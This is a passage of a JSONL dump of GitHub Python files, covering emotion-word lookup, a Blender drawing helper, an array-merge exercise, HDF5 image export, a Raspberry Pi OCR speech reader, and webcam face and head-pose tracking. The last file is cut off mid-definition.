+{"seq_id":"74674177851","text":"import numpy as np\nimport pandas as pd\n\n#TEXT EMO REC HERE \n\n\nfilepath = r\"C:\\Users\\ok\\Documents\\GABRIELA\\ASSISTANT\\NRC-emotion-lexicon-wordlevel-alphabetized-v0.92.txt\"\nemolex_df = pd.read_csv(filepath, names=[\"word\", \"emotion\", \"association\"], skiprows=45, sep='\\t', keep_default_na=False)\n#print(emolex_df.head(12))\n\n# all emotions\n# print(emolex_df.emotion.unique()) - all emos\n\n#print(emolex_df.emotion.value_counts())\n# How many words does each emotion have ------- We're only going to care about \"is associated.\"\n#print(emolex_df[emolex_df.association == 1].emotion.value_counts()) \n\nemolex_words = emolex_df.pivot(index='word', columns='emotion', values='association').reset_index()\nemolex_words.head()\n\nanger_words = str(emolex_df[(emolex_df.association == 1) & (emolex_df.emotion == 'anger')].word)\nanticipation_words = str(emolex_df[(emolex_df.association == 1) & (emolex_df.emotion == 'anticipation')].word)\ndisgust_words = str(emolex_df[(emolex_df.association == 1) & (emolex_df.emotion == 'disgust')].word)\nfear_words = str(emolex_df[(emolex_df.association == 1) & (emolex_df.emotion == 'fear')].word)\njoy_words = str(emolex_df[(emolex_df.association == 1) & (emolex_df.emotion == 'joy')].word)\nnegative_words = str(emolex_df[(emolex_df.association == 1) & (emolex_df.emotion == 'negative')].word)\npositive_words = str(emolex_df[(emolex_df.association == 1) & (emolex_df.emotion == 'positive')].word)\nsadness_words = str(emolex_df[(emolex_df.association == 1) & (emolex_df.emotion == 'sadness')].word)\nsurprise_words = str(emolex_df[(emolex_df.association == 1) & (emolex_df.emotion == 'surprise')].word)\ntrust_words = str(emolex_df[(emolex_df.association == 1) & (emolex_df.emotion == 'trust')].word)\n\ndef sentence_to_list(lst): \n return (lst[0].split()) \n\ntext = ['this place is an wrongful abandoned park']\n#text = ['this place is a park']\n\n#text = [recognized_text]\n\nsentence_word_list = sentence_to_list(text)\ntext_emos_list = []\n\nfor word in sentence_word_list:\n current_word = ' ' + word\n\n if current_word in anger_words:\n text_emos_list.append('anger')\n if current_word in anticipation_words:\n text_emos_list.append('anticipation')\n if current_word in disgust_words:\n text_emos_list.append('disgust')\n if current_word in fear_words:\n text_emos_list.append('fear')\n if current_word in joy_words:\n text_emos_list.append('joy')\n if current_word in negative_words:\n text_emos_list.append('negative')\n if current_word in positive_words:\n text_emos_list.append('positive')\n if current_word in sadness_words:\n text_emos_list.append('sadness')\n if current_word in surprise_words:\n text_emos_list.append('surprise')\n if current_word in trust_words:\n text_emos_list.append('trust')\n\nprint(text_emos_list)\n","repo_name":"chavgova/AI_assistant","sub_path":"textEmoRec-Dict.py","file_name":"textEmoRec-Dict.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"3185532390","text":"# ███╗ ██╗██████╗ \n# ████╗ ██║██╔══██╗\n# ██╔██╗ ██║██║ ██║\n# ██║╚██╗██║██║ ██║\n# ██║ ╚████║██████╔╝\n# ╚═╝ ╚═══╝╚═════╝ \n# \n# “Commons Clause” License Condition v1.0\n# \n# See LICENSE for license details. If you did not receive a copy of the license,\n# it may be obtained at https://github.com/hugemenace/nd/blob/main/LICENSE.\n# \n# Software: ND Blender Addon\n# License: MIT\n# Licensor: T.S. & I.J. (HugeMenace)\n# \n# ---\n# Contributors: Tristo (HM)\n# ---\n\nimport bpy\nimport gpu\nimport bgl\nfrom mathutils import Vector, Matrix\nfrom gpu_extras.batch import batch_for_shader\nfrom . preferences import get_preferences\n\n\ndef register_points_handler(cls):\n handler = bpy.app.driver_namespace.get('nd.points')\n\n if not handler:\n handler = bpy.types.SpaceView3D.draw_handler_add(update_points, (cls, ), 'WINDOW', 'POST_VIEW')\n dns = bpy.app.driver_namespace\n dns['nd.points'] = handler\n\n redraw_regions()\n\n\ndef unregister_points_handler():\n handler = bpy.app.driver_namespace.get('nd.points')\n\n if handler:\n bpy.types.SpaceView3D.draw_handler_remove(handler, 'WINDOW')\n del bpy.app.driver_namespace['nd.points']\n\n redraw_regions()\n\n\ndef redraw_regions():\n for area in bpy.context.window.screen.areas:\n if area.type == 'VIEW_3D':\n for region in area.regions:\n if region.type == 'WINDOW':\n region.tag_redraw()\n\n\ndef init_points(cls):\n cls.primary_points = []\n cls.secondary_points = []\n cls.tertiary_points = []\n cls.guide_line = ()\n\n\ndef draw_points(shader, points, size, color):\n gpu.state.point_size_set(size)\n batch = batch_for_shader(shader, 'POINTS', {\"pos\": points})\n shader.bind()\n shader.uniform_float(\"color\", color)\n batch.draw(shader)\n\n\ndef draw_guideline(shader, line, size, color):\n gpu.state.depth_test_set('NONE')\n gpu.state.blend_set('ALPHA')\n gpu.state.line_width_set(size)\n batch = batch_for_shader(shader, 'LINES', {\"pos\": line})\n shader.bind()\n shader.uniform_float(\"color\", color)\n batch.draw(shader)\n\n\ndef update_points(cls):\n shader = gpu.shader.from_builtin('3D_UNIFORM_COLOR')\n\n draw_points(shader, cls.primary_points, 10, get_preferences().points_primary_color)\n draw_points(shader, cls.secondary_points, 6, get_preferences().points_secondary_color)\n draw_points(shader, cls.tertiary_points, 12, get_preferences().points_tertiary_color)\n draw_guideline(shader, cls.guide_line, 2, get_preferences().points_guide_line_color)\n\n redraw_regions()\n","repo_name":"hugemenace/nd","sub_path":"lib/points.py","file_name":"points.py","file_ext":"py","file_size_in_byte":2734,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"78"}
+{"seq_id":"73598937211","text":"# User function Template for python3\r\n\r\ndef merge(arr1, arr2, n, m):\r\n # code here\r\n myarr = []\r\n myarr = arr1 + arr2\r\n # print(myarr)\r\n myarr.sort()\r\n arr1[:] = myarr[0:n]\r\n arr2[:] = myarr[n:]\r\n # print(arr1,arr2)\r\n\r\n\r\n# {\r\n# Driver Code Starts\r\n# Initial template for Python\r\n\r\nif __name__ == '__main__':\r\n t = int(input())\r\n for tt in range(t):\r\n n, m = map(int, input().strip().split())\r\n arr1 = list(map(int, input().strip().split()))\r\n arr2 = list(map(int, input().strip().split()))\r\n merge(arr1, arr2, n, m)\r\n print(*arr1, end=\" \")\r\n print(*arr2)\r\n# } Driver Code Ends","repo_name":"arpit456jain/gfg-11-Weeks-Workshop-on-DSA-in-Python","sub_path":"week 1/arrays/Merge Without Extra Space.py","file_name":"Merge Without Extra Space.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"}
+{"seq_id":"5809753819","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 9 15:56:44 2018\n\n@author: ajaver\n\"\"\"\nimport cv2\nimport tables\n\n\nfname = '/home/ajaver@cscdom.csc.mrc.ac.uk/Downloads/MaskedVideos/11B_060.hdf5'\n\nwith tables.File(fname, 'r') as fid:\n masks = fid.get_node('/mask')\n for ii, img in enumerate(masks):\n cv2.imwrite('{:02}.png'.format(ii), img)\n\n\n","repo_name":"ver228/tierpsy-tracker","sub_path":"tierpsy/debugging/export2images.py","file_name":"export2images.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"78"}
+{"seq_id":"39332436855","text":"import time\nimport os\nos.environ['PYGAME_HIDE_SUPPORT_PROMPT'] = \"hide\"\nos.environ[\"DISPLAY\"] = \":0\"\n\nimport RPi.GPIO as GPIO\nfrom picamera import PiCamera\n\nimport cv2\nfrom imutils import resize\nfrom transform import perspective_transform\nfrom pytesseract import pytesseract\n\nimport pyttsx3\nimport pygame\n\ndef imageProcessing(imageName):\n def findDoc(contours):\n for c in contours:\n peri = cv2.arcLength(c, True)\n approx = cv2.approxPolyDP(c, 0.02 * peri, True)\n if len(approx) == 4:\n return approx\n return None\n \n original_img = cv2.imread(f'./raw_images/{imageName}.jpg')\n copy = original_img.copy()\n\n ratio = original_img.shape[0] / 500.0\n resized_img = resize(original_img, height=500)\n gray_img = cv2.cvtColor(resized_img, cv2.COLOR_BGR2GRAY)\n blurred_img = cv2.GaussianBlur(gray_img, (5, 5), 0)\n edged_img = cv2.Canny(blurred_img, 75, 200)\n \n contours, _ = cv2.findContours(edged_img, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n contours = sorted(contours, key=cv2.contourArea, reverse=True)[:5]\n doc = findDoc(contours)\n if doc is None:\n return \"errorContour\"\n for corner in doc:\n tuple_point = tuple(corner[0])\n cv2.circle(resized_img, tuple_point, 3, (0, 0, 255), 4)\n \n warped_img = perspective_transform(copy, doc.reshape(4, 2) * ratio)\n warped_img = cv2.cvtColor(warped_img, cv2.COLOR_BGR2GRAY)\n ret, thresh_img = cv2.threshold(warped_img, 120, 255, cv2.THRESH_BINARY)\n \n cv2.imwrite(f'./processed_images/{imageName}.jpg', thresh_img)\n \n return image2text(imageName, warped_img)\n\ndef image2text(imageName, img):\n # Comment the line below if run on Raspberry PI\n # pytesseract.tesseract_cmd = r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe' \n\n text = pytesseract.image_to_string(img)\n\n with open(f'./texts/{imageName}.txt', \"w+\") as file:\n file.write(text)\n \n return text2speech(imageName)\n\ndef text2speech(textName):\n # with open(f'./texts/{textName}.txt', \"r+\", encoding='utf-8') as file:\n # text = file.read()\n \n # engine = pyttsx3.init()\n\n # voices = engine.getProperty(\"voices\")\n # engine.setProperty(\"voice\", voices[11].id) # voices[0] if run on Windows, voices[11] if run on PI\n # engine.setProperty(\"rate\", 150)\n\n # engine.save_to_file(text, f'./audio/{textName}.wav')\n\n # engine.runAndWait()\n \n return textName \n\nif __name__ == '__main__':\n # Pygame init\n pygame.init()\n screen = pygame.display.set_mode((1,1))\n pygame.mixer.init()\n \n # Audio condition\n firstPlay = False\n playing = False\n filename = \"\"\n prev_filename = \"\"\n \n # Pin definition:\n stopPin = 22\n camPin = 17\n audioPin_play = 23\n audioPin_replay = 24\n audioPin_stop = 16\n\n # Pin Setup:\n GPIO.setmode(GPIO.BCM) # Broadcom pin-numbering scheme\n\n GPIO.setup(stopPin, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n GPIO.setup(camPin, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n GPIO.setup(audioPin_play, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n GPIO.setup(audioPin_replay, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n GPIO.setup(audioPin_stop, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n \n print(\" #. Smart Reader begins.\\n\",\n \"1. Press button 1 to stop.\\n\",\n \"2. Press button 2 to take picture.\\n\",\n \"3. Press button 3 to play or pause audio.\\n\",\n \"4. Press button 4 to replay audio.\\n\",\n \"5. Press button 5 to stop audio.\\n\")\n \n pygame.mixer.music.load(f'./audio/default/begin.wav')\n pygame.mixer.music.set_volume(0.5)\n pygame.mixer.music.play()\n \n while True:\n if GPIO.input(stopPin) == False:\n time.sleep(0.25)\n if playing:\n pygame.mixer.music.stop()\n playing = False\n firstPlay = False\n GPIO.cleanup()\n print(\"Smart Reader has finished.\\n\")\n pygame.mixer.music.load(f'./audio/default/finish.wav')\n pygame.mixer.music.set_volume(0.5)\n pygame.mixer.music.play()\n time.sleep(1.5)\n break\n if GPIO.input(camPin) == False:\n time.sleep(0.25)\n if playing:\n print(\"Stop audio first.\\n\")\n continue\n dir_path = './raw_images'\n counter = 0\n for path in os.listdir(dir_path):\n if os.path.isfile(os.path.join(dir_path, path)):\n counter += 1\n camera = PiCamera()\n camera.start_preview()\n print(\"Ready to take picture.\\n\")\n pygame.mixer.music.load(f'./audio/default/ready.wav')\n pygame.mixer.music.set_volume(0.5)\n pygame.mixer.music.play()\n while True:\n if GPIO.input(camPin) == False:\n break\n camera.capture(f'./raw_images/sample{counter + 1}.jpg')\n camera.stop_preview()\n camera.close()\n filename = imageProcessing(f\"sample{counter + 1}\")\n if filename == \"errorContour\":\n print(\"Error: Contour.\\n\")\n pygame.mixer.music.load(f'./audio/default/errorContour.wav')\n pygame.mixer.music.set_volume(0.5)\n pygame.mixer.music.play()\n os.remove(f'./raw_images/sample{counter + 1}.jpg')\n filename = prev_filename\n else:\n print(\"Picture taken.\\n\")\n pygame.mixer.music.load(f'./audio/default/pictureTaken.wav')\n pygame.mixer.music.set_volume(0.5)\n pygame.mixer.music.play()\n prev_filename = filename\n if GPIO.input(audioPin_play) == False:\n time.sleep(0.25)\n if not firstPlay:\n if filename == \"\":\n print(\"No picture chosen.\\n\")\n pygame.mixer.music.load(f'./audio/default/noPicture.wav')\n pygame.mixer.music.set_volume(0.5)\n pygame.mixer.music.play()\n continue\n pygame.mixer.music.load(f'./audio/{filename}.wav')\n pygame.mixer.music.set_volume(0.5)\n pygame.mixer.music.play()\n playing = True\n firstPlay = True\n print(\"Audio played.\\n\")\n else:\n if playing:\n pygame.mixer.music.pause()\n playing = False\n print(\"Audio stopped.\\n\")\n else:\n pygame.mixer.music.unpause()\n playing = True\n print(\"Audio played.\\n\")\n if GPIO.input(audioPin_replay) == False:\n time.sleep(0.25)\n if firstPlay:\n pygame.mixer.music.stop()\n pygame.mixer.music.load(f'./audio/{filename}.wav')\n pygame.mixer.music.set_volume(0.5)\n pygame.mixer.music.play()\n playing = True\n print(\"Audio replayed.\\n\")\n else:\n print(\"No audio is playing.\\n\")\n pygame.mixer.music.load(f'./audio/default/noAudio.wav')\n pygame.mixer.music.set_volume(0.5)\n pygame.mixer.music.play() \n if GPIO.input(audioPin_stop) == False:\n time.sleep(0.25)\n if firstPlay:\n pygame.mixer.music.stop()\n playing = False\n firstPlay = False\n print(\"Audio ended.\\n\")\n else:\n print(\"No audio is playing.\\n\")\n pygame.mixer.music.load(f'./audio/default/noAudio.wav')\n pygame.mixer.music.set_volume(0.5)\n pygame.mixer.music.play() \n","repo_name":"TheNMD/ai-project2","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"10022576209","text":"# USAGE\n# python detect_faces_video.py --prototxt deploy.prototxt.txt --model res10_300x300_ssd_iter_140000.caffemodel\n\n# import the necessary packages\nfrom __future__ import division\nfrom imutils.video import VideoStream\nfrom imutils import face_utils\nimport numpy as np\nfrom numpy import asarray\nfrom numpy import savetxt\nimport argparse\nimport imutils\nimport time\n\nimport datetime\nimport pygame\nimport cv2\nimport math\nimport os\nos.environ['KMP_DUPLICATE_LIB_OK']='True'\nimport dlib\nfrom eye import Eye\nfrom calibration import Calibration\nfrom testmouse import Mouse\nimport autopy\n\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-c\", \"--confidence\", type=float, default=0.5,\n help=\"minimum probability to filter weak detections\")\nargs = vars(ap.parse_args())\n\n\n\nobject_pts = np.float32([\n (0.0, 0.0, 0.0), # Nose tip\n (0.0, -330.0, -65.0), # Chin\n (-225.0, 170.0, -135.0), # Left eye left corner\n (225.0, 170.0, -135.0), # Right eye right corner\n (-150.0, -150.0, -125.0), # Mouth left corner\n (150.0, -150.0, -125.0) # Mouth right corner\n])/45\n\n\"\"\"\nobject_pts = np.float32([[6.825897, 6.760612, 4.402142],\n [1.330353, 7.122144, 6.903745],\n [-1.330353, 7.122144, 6.903745],\n [-6.825897, 6.760612, 4.402142],\n [5.311432, 5.485328, 3.987654],\n [1.789930, 5.393625, 4.413414],\n [-1.789930, 5.393625, 4.413414],\n [-5.311432, 5.485328, 3.987654],\n [2.005628, 1.409845, 6.165652],\n [-2.005628, 1.409845, 6.165652],\n [2.774015, -2.080775, 5.048531],\n [-2.774015, -2.080775, 5.048531],\n [0.000000, -3.116408, 6.097667],\n [0.000000, -7.415691, 4.070434]])\"\"\"\npoint_3d = []\nrear_size = 7.5\nrear_depth = 0\npoint_3d.append((-rear_size, -rear_size, rear_depth))\npoint_3d.append((-rear_size, rear_size, rear_depth))\npoint_3d.append((rear_size, rear_size, rear_depth))\npoint_3d.append((rear_size, -rear_size, rear_depth))\npoint_3d.append((-rear_size, -rear_size, rear_depth))\n\nfront_size = 10\nfront_depth = 10\npoint_3d.append((-front_size, -front_size, front_depth))\npoint_3d.append((-front_size, front_size, front_depth))\npoint_3d.append((front_size, front_size, front_depth))\npoint_3d.append((front_size, -front_size, front_depth))\npoint_3d.append((-front_size, -front_size, front_depth))\npoint_3d = np.float32(point_3d).reshape(-1, 3)\n\n\n\"\"\"reprojectsrc = np.float32([[10.0, 10.0, 10.0],\n [10.0, 10.0, -10.0],\n [10.0, -10.0, -10.0],\n [10.0, -10.0, 10.0],\n [-10.0, 10.0, 10.0],\n [-10.0, 10.0, -10.0],\n [-10.0, -10.0, -10.0],\n [-10.0, -10.0, 10.0]])\"\"\"\n\n\n\nline_pairs = [[0, 1], [1, 2], [2, 3], [3, 0],\n [4, 5], [5, 6], [6, 7], [7, 4],\n [0, 4], [1, 5], [2, 6], [3, 7]]\n\n\n\nclass FaceDetector:\n\n def __init__(self):\n self.frame = None\n self.eye_left = None\n self.eye_right = None\n self.calibration = Calibration()\n\n DNN = \"CAFFE\"\n if DNN == \"CAFFE\":\n modelFile = \"res10_300x300_ssd_iter_140000.caffemodel\"\n configFile = \"deploy.prototxt\"\n # load our serialized model from disk\n print(\"[INFO] loading model...\")\n self.net = cv2.dnn.readNetFromCaffe(configFile, modelFile)\n\n # _predictor is used to get facial landmarks of a given face\n cwd = os.path.abspath(os.path.dirname(__file__))\n model_path = os.path.abspath(os.path.join(cwd, \"trained_models/shape_predictor_68_face_landmarks.dat\"))\n self._predictor = dlib.shape_predictor(model_path)\n\n\n #net = cv2.dnn.readNetFromCaffe(args[\"prototxt\"], args[\"model\"])\n\n\n # loop over the frames from the video stream\n def detect_face(self, frame):\n # grab the frame from the threaded video stream and resize it\n\n\n # grab the frame dimensions and convert it to a blob\n self.frame = frame\n\n (h, w) = frame.shape[:2]\n #frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n blob = cv2.dnn.blobFromImage(cv2.resize(frame, (300, 300)), 1.0,\n (300, 300), (104.0, 177.0, 123.0))\n\n # pass the blob through the network and obtain the detections and\n # predictions\n self.net.setInput(blob)\n detections = self.net.forward()\n self.detections = detections\n\n\n # loop over the detections\n for i in range(0, detections.shape[2]):\n # extract the confidence (i.e., probability) associated with the\n # prediction\n confidence = detections[0, 0, i, 2]\n\n # filter out weak detections by ensuring the `confidence` is\n # greater than the minimum confidence\n if confidence < args[\"confidence\"]:\n continue\n\n # compute the (x, y)-coordinates of the bounding box for the\n # object\n box = detections[0, 0, i, 3:7] * np.array([w, h, w, h])\n\n (startX, startY, endX, endY) = box.astype(\"int\")\n\n face_rect = dlib.rectangle(left=startX, top=startY, right=endX, bottom=endY)\n\n #dlib_rectangle = dlib.rectangle(left=0, top=int(frameW), right=int(frameW), bottom=int(frameH))\n try:\n landmarks = self._predictor(frame, face_rect)\n self.landmarks = landmarks\n\n self.eye_left = Eye(frame, landmarks, 0, self.calibration)\n self.eye_right = Eye(frame, landmarks, 1, self.calibration)\n\n except IndexError:\n self.eye_left = None\n self.eye_right = None\n landmarks_np = face_utils.shape_to_np(landmarks)\n #for (x, y) in landmarks_np:\n #cv2.circle(frame, (x, y), 1, (255, 0, 255), -1)\n\n\n # draw the bounding box of the face along with the associated\n # probability\n text = \"{:.2f}%\".format(confidence * 100)\n y = startY - 10 if startY - 10 > 10 else startY + 10\n \"\"\"cv2.rectangle(frame, (startX, startY), (endX, endY),\n (0, 0, 255), 2)\n cv2.putText(frame, text, (startX, y),\n cv2.FONT_HERSHEY_SIMPLEX, 0.45, (0, 0, 255), 2)\"\"\"\n\n\n #frame = self.annotated_frame()\n\n shape = landmarks_np\n\n self.get_head_pose(frame,shape,h,w)\n\n\n return frame\n def collecthead(self, frame):\n (h, w) = frame.shape[:2]\n shape = face_utils.shape_to_np(self.landmarks)\n return self.get_head_pose(frame, shape, h,w)\n\n\n def collectdata(self, frame):\n LEFT_EYE_POINTS = [36, 37, 39, 41]\n RIGHT_EYE_POINTS = [42, 43, 45, 47]\n padding_px = 15\n startX = self.landmarks.part(LEFT_EYE_POINTS[0]).x - padding_px\n startY = self.landmarks.part(LEFT_EYE_POINTS[1]).y - padding_px\n endX = self.landmarks.part(LEFT_EYE_POINTS[2]).x + padding_px\n endY = self.landmarks.part(LEFT_EYE_POINTS[3]).y + padding_px\n eye_left_coords = (startX, startY, endX, endY)\n self.eye_left_coords = eye_left_coords\n\n startX = self.landmarks.part(RIGHT_EYE_POINTS[0]).x - padding_px\n startY = self.landmarks.part(RIGHT_EYE_POINTS[1]).y - padding_px\n endX = self.landmarks.part(RIGHT_EYE_POINTS[2]).x + padding_px\n endY = self.landmarks.part(RIGHT_EYE_POINTS[3]).y + padding_px\n eye_right_coords = (startX, startY, endX, endY)\n self.eye_right_coords = eye_right_coords\n\n eye_frame_l = frame[eye_left_coords[1]:eye_left_coords[3], eye_left_coords[0]:eye_left_coords[2]]\n eye_frame_r = frame[eye_right_coords[1]:eye_right_coords[3], eye_right_coords[0]:eye_right_coords[2]]\n\n eye_frame_l_resized = cv2.resize(eye_frame_l,(80, 40))\n eye_frame_r_resized = cv2.resize(eye_frame_r, (80, 40))\n\n return eye_frame_l_resized, eye_frame_r_resized\n\n def show_gaze(self,pywindow,frame,gaze_model,app_resolution):\n\n try:\n LEFT_EYE_POINTS = [36, 37, 39, 41]\n RIGHT_EYE_POINTS = [42, 43, 45, 47]\n padding_px = 15\n startX = self.landmarks.part(LEFT_EYE_POINTS[0]).x - padding_px\n startY = self.landmarks.part(LEFT_EYE_POINTS[1]).y - padding_px\n endX = self.landmarks.part(LEFT_EYE_POINTS[2]).x + padding_px\n endY = self.landmarks.part(LEFT_EYE_POINTS[3]).y + padding_px\n eye_left_coords = (startX, startY, endX, endY)\n self.eye_left_coords = eye_left_coords\n\n startX = self.landmarks.part(RIGHT_EYE_POINTS[0]).x - padding_px\n startY = self.landmarks.part(RIGHT_EYE_POINTS[1]).y - padding_px\n endX = self.landmarks.part(RIGHT_EYE_POINTS[2]).x + padding_px\n endY = self.landmarks.part(RIGHT_EYE_POINTS[3]).y + padding_px\n eye_right_coords = (startX, startY, endX, endY)\n self.eye_right_coords = eye_right_coords\n\n eye_frame_l = frame[eye_left_coords[1]:eye_left_coords[3], eye_left_coords[0]:eye_left_coords[2]]\n eye_frame_r = frame[eye_right_coords[1]:eye_right_coords[3], eye_right_coords[0]:eye_right_coords[2]]\n\n eye_frame_l_resized = cv2.resize(eye_frame_l, (80, 40))\n eye_frame_r_resized = cv2.resize(eye_frame_r, (80, 40))\n gaze_input_l = cv2.cvtColor(eye_frame_l_resized, cv2.COLOR_BGR2GRAY)\n gaze_input_r = cv2.cvtColor(eye_frame_r_resized, cv2.COLOR_BGR2GRAY)\n self.show_gaze_tracking(pywindow, gaze_model, [gaze_input_l, gaze_input_r], app_resolution)\n\n except Exception as error:\n print(error)\n\n\n\n\n def show_gaze_tracking(self, pywindow, model, model_inputs, app_resolution, color=(255, 0, 0), radius=20):\n\n # print(model_input.shape)\n # mirror effect\n #model_input_l = cv2.flip(model_inputs[0], 1)\n model_input_l = model_inputs[0]\n model_input_r = model_inputs[1]\n\n model_input_l = np.expand_dims(np.expand_dims(model_input_l, axis=0), axis=3)\n #model_input_r = cv2.flip(model_inputs[1], 1)\n model_input_r = np.expand_dims(np.expand_dims(model_input_r, axis=0), axis=3)\n\n pos = model.predict([model_input_l, model_input_r])\n pos = pos.astype(int).tolist()[0]\n\n if pos[0] <= 0:\n pos[0] = 0\n if pos[0] >= app_resolution[0]:\n pos[0] = app_resolution[0]\n if pos[1] <=0:\n pos[1] = 0\n if pos[1] >= app_resolution[1]:\n pos[1] = app_resolution[1]\n print(pos)\n\n pygame.draw.circle(pywindow, color, pos, radius)\n return pos\n\n\n\n @property\n def pupils_located(self):\n \"\"\"Check that the pupils have been located\"\"\"\n try:\n int(self.eye_left.pupil.x)\n int(self.eye_left.pupil.y)\n int(self.eye_right.pupil.x)\n int(self.eye_right.pupil.y)\n return True\n except Exception:\n return False\n\n def get_head_pose(self, frame,shape,h,w):\n\n size = (h,w)\n #camera_intrinsic\n center = (size[1]/2, size[0]/2)\n focal_length = size[1]\n #focal_length = center[0] / np.tan(60/2 * np.pi / 180)\n\n\n dist_coeffs = np.zeros((4,1)) # Assuming no lens distortion\n cam_matrix = np.float32(\n [[focal_length, 0, center[0]],\n [0, focal_length, center[1]],\n [0, 0, 1]] )\n #print(\"Camera Matrix :\\n {0}\".format(cam_matrix))\n\n #image_points\n\n \"\"\"image_pts = np.float32([shape[17], shape[21], shape[22], shape[26], shape[36],\n shape[39], shape[42], shape[45], shape[31], shape[35],\n shape[48], shape[54], shape[57], shape[8]])\"\"\"\n\n image_pts = np.float32([shape[30], shape[8], shape[36], shape[45], shape[48],\n shape[54]])\n\n #compute r and v, project 3d to 2d, reshape\n _, rotation_vec, translation_vec = cv2.solvePnP(object_pts, image_pts, cam_matrix, dist_coeffs, flags=cv2.SOLVEPNP_ITERATIVE)\n #point_3d = np.float32(reprojectsrc.reshape(-1, 3))\n point_2d, _ = cv2.projectPoints(point_3d, rotation_vec, translation_vec, cam_matrix,\n dist_coeffs)\n #point_2d = tuple(map(tuple, point_2d.reshape(8, 2)))\n point_2d = np.int32(point_2d.reshape(-1, 2)) #to draw polylines\n\n #get axispoints for drawing axis\n points = np.float32(\n [[30, 0, 0], [0, 30, 0], [0, 0, 30], [0,0,0]]).reshape(-1, 3)\n axisPoints, _ = cv2.projectPoints(\n points, rotation_vec, translation_vec, cam_matrix, dist_coeffs)\n\n\n\n # calc euler angle\n rotation_mat, _ = cv2.Rodrigues(rotation_vec)\n pose_mat = cv2.hconcat((rotation_mat, translation_vec))\n _, _, _, _, _, _, euler_angle = cv2.decomposeProjectionMatrix(pose_mat)\n\n pitch, yaw, roll = [math.radians(_) for _ in euler_angle]\n pitch = math.degrees(math.asin(math.sin(pitch)))\n roll = -math.degrees(math.asin(math.sin(roll)))\n yaw = math.degrees(math.asin(math.sin(yaw)))\n\n\n \"\"\"drawing\"\"\"\n #draw features\n for p in image_pts:\n cv2.circle(frame, (int(p[0]), int(p[1])), 3, (0,0,255), -1)\n #eyePoints, _ = cv2.projectPoints(\n #points, r, v, cam_matrix, dist_coeffs)\n #eye_pts2 = ((x_left+x_right)/2, (y_left+y_right)/2)\n #print(eye_pts2)\n #print(eye_pts)\n #autopy.mouse.move((x_left+x_right)/2, (y_left+y_right)/2)\n #Mouse(eye_pts2)\n #drawing face box\n for start, end in line_pairs:\n #cv2.line(frame, point_2d[start], point_2d[end], (0, 170, 255), 2, cv2.LINE_AA)\n # Draw all the lines\n #cv2.polylines(frame, [point_2d], True, (0,170, 255), 2, cv2.LINE_AA)\n cv2.line(frame, tuple(point_2d[start]), tuple(point_2d[end]), (0, 170, 255), 2, cv2.LINE_AA)\n #drawing face box 2\n color =(0, 170, 255)\n line_width = 2\n cv2.polylines(frame, [point_2d], True, color, line_width, cv2.LINE_AA)\n cv2.line(frame, tuple(point_2d[1]), tuple(\n point_2d[6]), color, line_width, cv2.LINE_AA)\n cv2.line(frame, tuple(point_2d[2]), tuple(\n point_2d[7]), color, line_width, cv2.LINE_AA)\n cv2.line(frame, tuple(point_2d[3]), tuple(\n point_2d[8]), color, line_width, cv2.LINE_AA)\n\n #drawing three axis\n frame = cv2.line(frame, tuple(axisPoints[3].ravel()), tuple(\n axisPoints[0].ravel()), (255, 0, 0), 3)\n frame = cv2.line(frame, tuple(axisPoints[3].ravel()), tuple(\n axisPoints[1].ravel()), (0, 255, 0), 3)\n frame = cv2.line(frame, tuple(axisPoints[3].ravel()), tuple(\n axisPoints[2].ravel()), (0, 0, 255), 3)\n\n #def draw_axes(self, frame, R, t):\n #frame = cv2.drawFrameAxes(frame, cam_matrix, dist_coeffs,rotation_vec, translation_vec, 30)\"\"\"\n\n\n cv2.putText(frame, \"Pitch: \" + \"{:7.2f}\".format(float(pitch)), (100, 30 ), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), thickness=2, lineType=2)\n cv2.putText(frame, \"Yaw: \" + \"{:7.2f}\".format(float(yaw)), (100, 80), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), thickness=2, lineType=2)\n cv2.putText(frame, \"Roll: \" + \"{:7.2f}\".format(float(roll)), (100, 130), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), thickness=2, lineType=2)\n\n return [pitch, roll, yaw]\n\n\n\n\n\n\n\n\n \"\"\"def detect_eyes(self,frame):\n #Detects the face and initialize Eye objects\n #frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n #faces = self._face_detector(frame)\n #(frameH, frameW) = self.detections.shape[:2]\n # compute the (x, y) coords of face bounding box\n face_coords = (startX, startY, endX, endY)\n face_rect = dlib.rectangle(left=startX, top=startY, right=endX, bottom=endY)\n\n #dlib_rectangle = dlib.rectangle(left=0, top=int(frameW), right=int(frameW), bottom=int(frameH))\n\n try:\n landmarks = self._predictor(frame, dlib_rectangle)\n self.eye_left = Eye(frame, landmarks, 0, self.calibration)\n self.eye_right = Eye(frame, landmarks, 1, self.calibration)\n\n except IndexError:\n self.eye_left = None\n self.eye_right = None\n\n def refresh(self, frame):\n #Refreshes the frame and analyzes it.\n\n Arguments:\n frame (numpy.ndarray): The frame to analyze\n\n #self.frame = frame\n self.detect_eyes(frame)\"\"\"\n\n\n def pupil_left_coords(self):\n \"\"\"Returns the coordinates of the left pupil\"\"\"\n if self.pupils_located:\n x = self.eye_left.origin[0] + self.eye_left.pupil.x\n y = self.eye_left.origin[1] + self.eye_left.pupil.y\n return (x, y)\n\n def 